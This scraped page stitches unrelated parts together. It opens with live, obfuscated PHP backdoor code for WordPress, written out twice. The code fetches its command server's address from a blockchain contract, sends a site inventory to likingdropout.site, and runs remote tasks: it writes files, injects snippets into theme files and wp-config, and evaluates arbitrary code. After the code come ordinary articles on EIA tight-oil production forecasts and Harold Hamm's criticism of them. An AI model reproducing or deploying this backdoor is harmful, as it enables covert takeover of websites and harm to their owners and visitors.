// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The surge in production is a result of growth in tight oil (more commonly known as shale oil). Many, including myself, never imagined that oil production could grow enough to threaten the US oil production peak from 1970. But that looks inevitable at this point.
This production increase raises the question: Just how much will US tight oil production increase before it peaks and begins to decline? Another million bpd? Three million bpd?
The Energy Information Administration’s latest Annual Energy Outlook (with projections to 2050) attempts to answer this question, modeling several scenarios for future oil production.
The Reference case projection assumes that known technologies continue to improve along recent trend lines. The economic and demographic trends that were used reflect the current views of leading forecasters.
In the High Oil and Gas Resource and Technology case, lower costs and a higher resource availability than in the Reference case are assumed. In the Low Oil and Gas Resource and Technology case, the assumption is of lower resources and higher costs.
US oil production projections
Every case assumes at least a few more years of tight oil supply growth. The Reference case shows shale/tight oil production growth of two to three million bpd over the next three years, before leveling off and remaining at approximately that level until 2050.
The Low Oil Resource case projects tight oil growth of another million barrels per day through about 2022, and then a steady production decline until 2050.
The High Oil Resource case projects sharply higher tight oil growth until about 2025, and then slower growth until 2050. Total production growth, in this case, was almost nine million barrels per day — implying a near doubling of tight oil production between now and 2050.
Supply Risks
But there’s one item that barely gets a mention in the EIA’s Annual Energy Outlook. It is something I [Robert Rapier from OilPrice.com – Ed.]witnessed firsthand when I was recently in the Permian Basin. Oil production can expand only as quickly as infrastructure can keep up. And it is struggling to keep up.
It’s not just crude oil pipelines that are an issue. Along with oil comes associated natural gas. In some cases, producers have no outlet for this gas, so they flare it. But there are various legal limits to flaring. This week, I heard about a producer who is having to reduce production because they are bumping up against their permitted limits for flaring.
In addition to potential infrastructure constraints, higher oil prices also lead to greater demand for oilfield services providers. That leads to higher costs for the oil producers and higher profits for drilling and fracking services providers.
At present, one of the bottlenecks in the Permian Basin is with the fracking service providers, and that is leading to a growing backlog of drilled-but-uncompleted wells (DUCs). This is helping to constrain production in the Permian Basin but was not a risk identified in the EIA’s production projections.
Conclusions
The latest Annual Energy Outlook from the EIA models the future potential of tight oil production under several scenarios. Some scenarios project tight oil production growth for another three to four years, but these scenarios apparently don’t consider supply risks posed by insufficient infrastructure, oilfield services or manpower. These factors could slow tight oil growth over the next few years and could potentially shift the timing of peak tight oil.
This article was originally published on Oilprice.com
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Reuters/Steve Sisney
As a powerful oil market mover, the EIA needs to have “more sophisticated” forecasts about U.S. shale production, because overly optimistic expectations depress oil prices and disadvantages the U.S. market, shale billionaire and Continental Resources chief executive Harold Hamm said in an interview with Bloomberg published on Thursday.
The EIA is “a very powerful market mover, and so it’s necessary they understand all of these things,” said Hamm who is scheduled to take part in an EIA webinar on crude oil production forecasts later on Thursday.
“EIA is on that world stage with us, as the swing producer in the world, and so it’s going to require better, more sophisticated methods of forecasting — more so than ever before,” Hamm told Bloomberg.
According to the billionaire oil executive, the EIA needs to hear “meaningful feedback” from the shale producers and oilfield service providers about their production challenges.
“It’s pretty easy to get enamored” by technology, and “some people tend to go too far with it,” Hamm told Bloomberg.
Over the past few months, Hamm has been one of the most vocal critics of EIA’s overly optimistic forecasts for U.S. oil production.
On September 14, Hamm told CNBC that he was concerned with EIA’s over-forecasting, and said that as the unbiased authority on supply in America, the Energy Information Administration needs “the same tools that we have in the industry.”
A week later, Hamm said that “EIA over-forecast what U.S. production was going to be this year by about 100 percent,” adding that the EIA had been revising its production estimates down, but by a much more moderate rate than the actual decline in production.
Earlier this year, when OPEC was just two months into the production cut deal, Hamm warned that if the U.S. oil industry embarked on another spending spree, it could “kill” the market. Production could go pretty high, but it should be in “a measured way, or else we kill the market,” Hamm said in early March.
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